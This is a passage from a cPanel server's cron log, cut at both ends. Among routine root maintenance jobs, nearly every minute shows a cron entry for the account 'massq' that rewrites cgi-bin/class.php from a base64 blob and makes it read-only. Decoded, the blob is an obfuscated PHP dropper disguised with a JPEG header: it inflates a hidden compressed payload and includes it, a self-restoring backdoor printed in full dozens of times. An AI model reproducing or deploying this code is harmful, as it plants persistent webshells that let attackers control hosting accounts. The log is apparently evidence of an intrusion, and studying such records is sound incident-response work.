luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:40:01 server CROND[16709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:40:01 server CROND[16713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:41:01 server CROND[17548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:41:01 server CROND[17549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:41:01 server CROND[17551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:42:01 server CROND[17931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:42:01 server CROND[17933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:42:01 server CROND[17934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:42:01 server CROND[17932]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:43:01 server CROND[18410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:43:01 server CROND[18411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:43:01 server CROND[18413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:44:01 server CROND[18790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:44:01 server CROND[18791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:44:01 server CROND[18792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:45:01 server CROND[19185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:45:01 server CROND[19186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:45:01 server CROND[19188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:45:01 server CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:45:01 server CROND[19187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:45:01 server CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:45:01 server CROND[19190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:46:01 server CROND[20115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:46:01 server CROND[20116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:46:01 server CROND[20117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:47:01 server CROND[20516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:47:01 server CROND[20517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:47:01 server CROND[20518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:48:01 server CROND[21072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:48:01 server CROND[21073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:48:01 server CROND[21074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:49:01 server CROND[21451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:49:01 server CROND[21452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:49:01 server CROND[21453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:50:01 server CROND[21871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:50:01 server CROND[21873]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:50:01 server CROND[21872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:50:01 server CROND[21875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:50:01 server CROND[21874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:50:01 server CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:50:01 server CROND[21880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:50:01 server CROND[21882]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:50:01 server CROND[21884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:51:01 server CROND[22793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:51:01 server CROND[22794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:51:01 server CROND[22796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:52:01 server CROND[23356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:52:01 server CROND[23358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY